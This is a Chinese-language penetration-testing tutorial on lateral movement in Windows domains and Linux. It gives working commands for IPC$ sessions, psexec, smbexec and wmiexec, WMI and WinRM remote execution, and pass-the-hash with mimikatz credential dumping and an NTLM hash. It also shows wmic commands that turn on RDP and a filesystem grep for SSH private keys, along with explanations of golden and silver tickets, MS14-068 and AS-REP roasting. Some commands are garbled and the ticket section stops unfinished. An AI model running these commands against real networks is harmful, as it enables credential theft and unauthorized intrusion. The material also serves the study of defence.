1 横向移动

1.1 windows横向渗透

1.1.1 IPC$ 连接（基础款，最常用）

原理：IPC$（Inter-Process Communication）是Windows的进程间通信协议，可用于远程连接目标机器，上传文件、执行命令，前提是知道目标机器的用户凭据。

常用命令：IPC是专用管道，可以实现对远程计算机的访问

需要使用目标系统用户的账号密码，使用139、445端口。

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间，创建计划任务（at、schtasks）定时执行拷贝到的脚本
  4. 删除IPC链接
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    常用ipc命令总结
    net use \\192.168.3.32\ipc$ "Admin12345" /user:god.org\administrator  #新建连接
    net use #查看与本机的所有连接
    net use \\192.168.3.32 /del  #删除该连接
    net use \\server\ipc$ "password" /user:username # 工作组
    net use \\server\ipc$ "password" /user:domain\username #域内
    dir \\xx.xx.xx.xx\C$\                # 查看文件列表
    copy \\xx.xx.xx.xx\C$\1.bat 1.bat  # 下载文件
    copy 1.bat \\xx.xx.xx.xx\C$  # 复制文件
    net use \\xx.xx.xx.xx\C$\1.bat /del  # 删除IPC
    net view xx.xx.xx.xx                # 查看对方共享

1.1.2 SMB 协议横向移动（高效款，支持无文件执行）

原理：SMB（Server Message Block）协议是Windows文件共享协议，可通过SMB协议远程执行命令，无需上传恶意文件，隐蔽性更强。

1.1.2.1 psexec交互式

1
psexec64 \\目标IP -u 用户名 -p 密码 -s cmd

1.1.2.2 smbexec-impacket交互式&单执行

工具：Impacket工具集（smbclient、wmiexec、psexec）

1
2
3
4
5
6
7
实操步骤（使用wmiexec）：

执行命令（明文密码）
smbexec.exe 用户名:密码@目标IP “命令” （如：wmiexec.exe test\admin:123456@192.168.10.101 “whoami”）

哈希传递（无明文密码）
smbexec.exe -hashes :NTLM哈希 用户名@目标IP “命令” （如：smbexec.exe -hashes :32ed87bdb5fdc5e9cba88547376818d4 test\admin@192.168.10.101 “whoami”）

若执行成功，会返回目标机器的命令执行结果，若返回管理员权限，说明横向移动成功。

1.1.3 WMI 协议横向移动（隐蔽款，不易被检测）

原理：WMI（Windows Management Instrumentation）是Windows的管理协议，可用于远程管理目标机器，执行命令、查询信息，无文件执行，隐蔽性强，适合企业内网环境。

不支持哈希传递

1.1.3.1 wmic单执行

常用命令：

1
2
3
4
5
6
7
8
远程执行命令（明文密码）：
wmic /node:目标IP /user:用户名 /password:密码 process call create “命令”
如：
wmic /node:192.168.10.101 /user:test\admin /password:123456 process call create “cmd.exe /c whoami > C:\test.txt”


查看目标机器进程：
wmic /node:目标IP /user:用户名 /password:密码 process list brief

注意：目标机器需开放135端口，且开启WMI服务（默认开启）。

1.1.3.2 cscript交互式

1
cscript //nologo wmiexec.vbs /shell IP地址 用户 密码

1.1.3.3 wmiexec-impacket交互式&单执行

1
wmiexec.exe 用户名:密码@目标IP “命令”

1.1.4 WinRM 协议横向移动（进阶款，域环境常用）

原理：WinRM（Windows Remote Management）是Windows远程管理协议，是PowerShell远程管理的基础，可通过PowerShell远程执行命令，适合域环境下的横向移动。

实操步骤：

测试目标机器WinRM是否开启：Test-WSMan 目标IP （PowerShell命令，若返回正常信息，说明已开启）

远程连接目标机器：Enter-PSSession -ComputerName 目标IP -Credential 用户名 （输入密码后，进入目标机器的PowerShell会话）

执行命令：whoami、ipconfig等，获取目标机器信息，完成横向移动。

注意：目标机器需开放5985（HTTP）、5986（HTTPS）端口，且开启WinRM服务（域控制器默认开启）。

1.1.5 PTH(pass-the-hash)hash传递

pass-the-hash在内网渗透中是一种很经典的攻击方式，原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务，而不提供明文密码

pass-the-hash原理

  • 在windows系统中，通常会使用NTLM身份认证
  • NTLM认证不使用明文口令，而使用明文加密后的hash值，hash值由系统api生成
  • hash分为LM hash和NT hash，如果密码长度大于15位数，就无法生成LM hash
  • 如果攻击者获取了hash，就能在身份验证的时候模拟该用户(即跳过用户调用api的过程)

该类攻击适合于：

  • 域/工作组环境
  • 可以获取hash，但是环境不允许hash爆破
  • 内网存在和当前机器相同的密码

微软也对pth打过补丁，但是在测试中发现，打过补丁后，常见的PTK已无法成功，但是默认的administrator例外，依然可以使用

如果禁用了ntlm认证,PsExec无法利用获取到的hash进行远程连接，但是使用mimilkatz还是能攻击成功的

1.1.5.1 mimitkaz pth

1
2
3
4
5
6
7
privilege::debug

sekurlsa::logonpasswords

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> pass

word.txt

得到 hash 后进行

1
2
3
4
5
privilege::debug

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc

5e9cba88547376818d4

1.1.5.2 psexec

psexec是windows官方自带的，不会存在查杀问题，属于pstools。利用PsExec可以在与远程计算机上执行命令，其基本原理是通过管道在远程主机上创建一个psexec服务，并在本地磁盘中生成一个名叫PSEXESVC的二进制文件，然后通过psexec服务运行命令，运行结束后删除服务

利用SMB服务可以通过明文或者hash传递来实现远程执行，条件是445端口开放
对象开放445端口，就相当于开启了smb服务

psexec第一种：先有ipc链接，psexec需要明文或者hash传递

1
2
3
4
5
6
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd
-accepteula 不会弹出确认框
-s 以System权限运行
-u 用户名
-p 密码
PsExec64.exe /s \\192.168.0.123 -u Administrator -p 123456 cmd,exe -c "ipconfig"

也可以用hash来登录

1
PsExec64.exe -hashes 随便的内容:32ED87BDB5FDC5E9CBA88547376818D4 .\administrator@IP地址

PsExec64（微软官方版）自身不支持直接使用NTLM哈希进行验证。报错通常是因为其不支持-hashes参数。若要进行hash传递攻击，应使用 Impacket套件 中的 psexec（通过 psexec -hashes LM:NTLM）或 Invoke-TheHash 等工具。

使用PsExec时需要注意以下几点：

  • 需要有远程系统开启admin$共享
  • 需要开放445端口
  • 使用IPC连接到后台后，不需要输入账号密码
  • 使用PsExec执行远程命令时，会创建一个psexec的服务，会出现大量的日志，可能会被反推
  • 使用PsExec可以直接获取System权限的交互式前提是administrator权限的shell
  • 在域环境中测试，非域用户无法利用内存中的票据使用PsExec功能，只能依靠账号和密码进行传递
1.1.5.2.1 使用msf hash模块
1
2
3
4
use exploit/windows/smb/psexec
set SMBUser Administrator
set lhost IP地址
set smbpass 随便的内容:32ED87BDB5FDC5E9CBA88547376818D4
1.1.5.2.2 CrackMapExec

crackmapexec可以对c段中的主机进行批量pth

1.1.5.3 WMI

全称Windows Management Instrumentation，即Windows管理工具

由于Windows默认不会把WMI的操作记录在日志中，同时现在越来越多杀软把PsExec加入黑名单中，因此WMI比PsExec隐蔽性好点

1.1.5.3.1 wmic命令

WMI连接远程主机，并使用目标系统的cmd.exe执行命令，，将执行结果保存目标主机C盘的ip.txt中

使用WMI连接远程主机需要开放135和445端口

1
wmic /node:目标主机 /user:adminstrator /password:123456 call create "cmd.exe /c ipconfig > c:\ip.txt"

之后建立IPC$，使用 type 读取执行结果

1
2
net use \\目标主机\ipc$ "1234456" /user:administrator
type \\目标主机\ipc$\ip.txt
1.1.5.3.2 wmiexec.py

在impacker 工具包中有wmiexec.py 脚本，可直接获取shell

1.1.5.3.3 wmiexec.vbs

wmiexec.vbs脚本通过vbs调用wmi来模拟psexec的功能，支持两种模式，一种是半交互式shell模式，另一种是执行单条命令模式。

脚本地址：https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

上传wmiexec.vbs到Win7机器上，然后使用cscript.exe执行脚本拿到半交互式的shell：

1
cscript.exe wmiexec.vbs /cmd ip地址 administrator 123456 "ipconfig"

执行成功后拿到shell，其实本质也就是执行wmic命令。

1.1.5.3.4 Invoke-WmiCommand

Invoke-WmiCommand.ps1是 powersploit 工具包中的一部分，主要带哦用WMI来远程执行命令

下载地址：https://github.com/PowerShellMafia/PowerSploit

Invoke-WmiCommand.ps1是PowerSploit中的一个脚本工具，该脚本主要通过powershell调用WMI来远程执行命令，本质上还是利用WMI。

适用于Windows Server 2008 和 Windows 7及以上默认内置powershell的版本。使用如下，在powershell中分别输入如下命令：

1
2
3
4
5
6
7
8
9
10
11
Import-Module .]Invoke-wmicommand.ps1

$User = "域名\用户名" // 指定目标系统用户名 

$Password = ConvertTo-SecureString -String "密码" -AsPlainText -Force   // 指定目标系统的密码  

$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password    // 将账号和密码整合起来，以便导入credential  

$Remote = Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP  

$Remote.PayloadOutput       // 将执行结果输出到屏幕上
1.1.5.3.5 Invoke-WMIMethod.ps1

Invoke-WMIMethod.ps1模块是powershell自带的，可以在远程系统中执行命令和指定程序。在powershell命令行环境执行如下命令，可以以非交互式的方式执行远程命令，但不会回显执行结果。

1
2
3
4
5
6
7
$User="域名\用户名"    // 指定目标系统用户名 

$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force   // 指定目标系统密码  

$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password     // 将账号和密码整合起来，以便导入 Credential中  

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred   // 在远程系统中运行notepad.exe命令

1.1.5.3.6 wmic的其他命令

使用wmic远程开启目标的 RDP

1
2
3
4
5
6
7
8
9
10
＃适于 windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (_Class!="")CALL SetAllowTSConnections 1

＃适于 windows 7、8、10, server 2008、2012、2016，注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName=ical SetAllowTSConnections 1

或者

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentContro1Set\Control\Terminal Server"
/v fDenyTSConnections /t REG_DWORD /d 0 /f'

1.1.6 PTT 票据传递攻击(Pass the Ticken)

1.1.6.1 Kerberos协议

image.png

kerberos协议是一种计算机网络授权协议，用来在非安全网络中，对个人通信以安全的手段进行身份认证。其设计的目的是通过密钥系统为客户端与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上的传输的数据包可以被任意读取、修改和插入数据。在以上情况下，Kerberos作为一种可信任的第三方认证服务，是通过传统的密码技术执行认证服务的。

1.1.6.1.1 关键角色
角色 作用
Domain Controller 域控制器，简称DC，一台计算机，实现用户、计算机的统一管理
Key Distribution Center 密钥分发中心，简称KDC，默认安装在域控里，包括AS和TGS
Authentication Service 身份验证服务，简称AS，用于KDC对Client的认证
Ticket Grantng Service 票据授予服务，简称TGS，用于KDC向Client和Server分发Session Key（临时密钥）
Active Directory 活动目录，简称AD，用于存储用户、用户组、域相关的信息
Client 客户端，指用户

1.1.6.2 认证原理

首先我们根据以下这张图来大致描述以下整个认证过程：

img

  1. 首先 Client 向域控制器 DC 请求访问 Server，DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。
  2. 认证通过后返回 TGT 给 Client，Client 得到 TGT（Ticket Granting Ticket）。
  3. Client 继续拿着 TGT 请求 DC 访问 Server，TGS 通过 Client 消息中的 TGT，判断 Client 是否有访问权限。
  4. 如果有，则给 Client 有访问 Server 的权限 Ticket，也叫 ST（Service Ticket）。
  5. Client 得到 Ticket 后，再去访问 Server，且该 Ticket 只针对这一个 Server 有效。
  6. 最终 Server 和 Client 建立通信。

下面讲一下详细的认证步骤，大概分为三个阶段：

  • AS_REQ & AS_REP
  • TGS_REQ & TGS_REP
  • AP-REQ & AP-REP
1.1.6.2.1 AS_REQ & AS_REP

该阶段是 Client 和 AS 的认证，通过认证的客户端将获得 TGT 认购权证。

1621493474_60a606e2c71b0cff80e5e.jpg

当域内某个客户端用户 Client 视图访问域内的某个服务，于是输入用户名和密码，此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个AS_REQ认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据，以及一些其他信息。

当 Client 发送身份信息给 AS 后，AS 会先向活动目录 AD 请求，询问是否有此 Client 用户，如果有的话，就会取出它的 NTLM-Hash，并对AS_REQ请求中加密的时间戳进行解密，如果解密成功，则证明客户端提供的密码正确，如果时间戳在五分钟之内，则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS，并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此 Session-key AS 用于确保客户端和 KGS 之间的通信安全。

还有一部分内容就是 TGT：使用 KDC 一个特定账户的 NTLM-Hash 对 Session-key AS、时间戳、Client-info 进行的加密。这个特定账户就是创建域控时自动生成的 Krbtgt 用户，然后将这两部分以及 PAC 等信息回复给 Client，即AS_REP。PAC 中包含的是用户的 SID、用户所在的组等一些信息。

AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用 Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀，Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和 TGT，因此可以相互转化。

至此，Kerberos 认证的第一步完成。

1.1.6.2.2 TGS_REQ & TGS_REP

该阶段是 Client 和 TGS 的认证，通过认证的客户端将获得 ST 服务票据。

1621493475_60a606e34f6d9dde0472a.jpg

客户端 Client 收到 AS 的回复AS_REP后分别获得了 TGT 和加密的 Session-Key AS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS，然后它会在本地缓存此 TGT 和原始的 Session-Key AS，如果现在它就需要访问某台服务器上的服务，他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据（也叫Ticket）。

此时 Client 会使用 Session-Key AS 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的，Client 无法解密，所以 Client 会将 TGT 作为另一部分继续发送给 TGS。两部分组成的请求被称为TGS_REQ。

TGS 收到该请求，用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS、时间戳、Client-info 以及 Server-info。再用 Session-key AS 解密第一部分内容，得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较，如果时间戳跟当前时间相差太久，就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client 信息进行比较，如果两个相等的话，还会继续判断 Client 有没有权限访问 Server，如果都没有问题，认证成功。认证成功后，KGS 会生成一个 Session-key TGS，并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。

另一部分是使用服务器 Server 的 NTLM-Hash 加密 Session-key TGS、时间戳以及 Client-info 等数据生成的 ST。然后 TGS 将这两部分信息回复给 Client，即TGS_REP。

至此，Client 和 KDC 的通信就结束了，然后是和 Server 进行通信。

1.1.6.2.3 AP-REQ & AP-REP

该阶段是 Client 和 TGS 的认证，通过认证的客户端将与服务器建立连接。

1621493475_60a606e3b3a9ac3f10ea8.jpg

客户端 Client 收到TGS_REP后，分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS，当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密，无法解密，所以会原封不动发送给 Server。两部分一块发送给 Server，这个请求即是AP_REQ。

Server 收到AP_REQ请求后，用自身的 Server NTLM-Hash 解密了 ST，得到 Session-Key TGS，再解密出Client-info、时间戳等数据。然后与 ST 的Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为8小时。通过客户端身份验证后，服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限，DC 拿到 PAC 后进行解密，然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息，然后将结果返回给服务端，服务端再将此信息域用户请求的服务资源的 ACL 进行对比，最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的AP-REP并与 Client 建立通信。

至此，Kerberos 认证流程基本结束。

1.1.6.2.4 PAC

我们在前面关于 Kerberos 认证流程的介绍中提到了 PAC（Privilege Attribute Certificate）这个东西，这是微软为了访问控制而引进的一个扩展，即特权访问证书。

在上面的认证流程中，如果没有 PAC 的访问控制作用的话，只要用户的身份验证正确，那么就可以拿到 TGT，有了 TGT，就可以拿到 ST，有了 ST ，就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 “Who am i?” 的问题，而没有解决 “What can I do?” 的问题。

为了解决上面的这个问题，微软引进了PAC。即 KDC 向客户端 Client 返回AS_REP时插入了 PAC，PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的AP_REQ请求后，首先会对客户端身份验证。通过客户端身份验证后，服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限，DC 拿到 PAC 后进行解密，然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息，然后将结果返回给服务端，服务端再将此信息域用户请求的服务资源的 ACL 进行对比，最后决定是否给用户提供相关的服务。

但是在有些服务中并没有验证 PAC 这一步，这也是白银票据能成功的前提，因为就算拥有用户的 Hash，可以伪造 TGS，但是也不能制作 PAC，PAC 当然也验证不成功，但是有些服务不去验证 PAC，这是白银票据成功的前提。

1.1.6.2.5 Kerberos 认证中的相关安全问题概述

Kerberos 认证并不是天衣无缝的，这其中也会有各种漏洞能够被我们利用，比如我们常说的 MS14-068、黄金票据、白银票据等就是基于Kerberos协议进行攻击的。下面我们便来大致介绍一下Kerberos 认证中的相关安全问题。

1.1.6.2.5.1 黄金票据（Golden ticket）

在 Windows 的kerberos认证过程中，Client 将自己的信息发送给 KDC，然后 KDC 使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密，生成 TGT。那么如果获取到了 Krbtgt 的 NTLM-Hash 值，不就可以伪造任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有，所以使用黄金凭据意味着你之前拿到过域控制器的权限，黄金凭据可以理解为一个后门。

先假设这么一种情况，原先已拿到的域内所有的账户 Hash，包括 Krbtgt 这个账户，由于有些原因导致你对域管权限丢失，但好在你还有一个普通域用户权限，碰巧管理员在域内加固时忘记重置 Krbtgt 密码，基于此条件，我们还能利用该票据重新获得域管理员权限。利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT，能够绕过对任意用户的账号策略，让用户成为任意组的成员，可用于 Kerberos 认证的任何服务。

1.1.6.2.5.2 白银票据（Silver ticket）

白银票据不同于黄金票据，白银票据的利用过程是伪造 TGS，通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC，所以可以绕过域控制器，很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT，并且在生成伪造的 TGT 得 20 分钟内，TGS不会对该 TGT 的真伪进行效验。

白银票据依赖于服务账号的密码散列值，这不同于黄金票据利用需要使用 Krbtgt 账号的密码哈希值，因此更加隐蔽。

1.1.6.2.5.3 MS14-068

这里便用到了我们之前所讲到的 PAC 这个东西，PAC 是用来验证 Client 的访问权限的，它会被放在 TGT 里发送给 Client，然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了MS14-068这个漏洞。

该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心（KDC）服务中的 Windows 漏洞，它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。

1.1.6.2.5.4 密码喷洒攻击（Password Spraying）

在实际渗透中，许多渗透测试人员和攻击者通常都会使用一种被称为 “密码喷洒”（Password Spraying）的技术来进行测试和攻击。对密码进行喷洒式的攻击，这个叫法很形象，因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率。普通的爆破就是用户名固定，爆破密码，但是密码喷洒，是用固定的密码去跑用户名。

1.1.6.2.5.5 AS-REP Roasting

我们前文说过，AS_REQ & AS_REP 认证的过程是 Kerberos 身份认证的第一步，该过程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。

而如果域用户设置了选项 “Do not require Kerberos preauthentication”（该选项默认没有开启）关闭了预身份验证的话，攻击者可以使用指定的用户去请求票据，向域控制器发送AS_REQ请求，此时域控会不作任何验证便将 TGT 票据和加密的 Session-key 等信息返回。因此攻击者就可以对获取到的加密 Session-key 进行离线破解，如果爆破成功，就能得到该指定用户的明文密码。

这种攻击方式被称作 AS-REP Roasting 攻击。

1.1.6.3 PTT攻击

1.1.6.3.1 金票

特点：不需要与AS进行交互，需要用户的hash

1.1.6.3.2 具体操作
1.1.6.3.2.1 伪造凭据，提升域内普通用户的权限

1.2 linux横向移动

1.2.1 SSH横向移动

一般情况下密钥文件都放在~/.ssh/目录下，也可以文件中搜索已经保存的SSH凭证

1
2
3
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*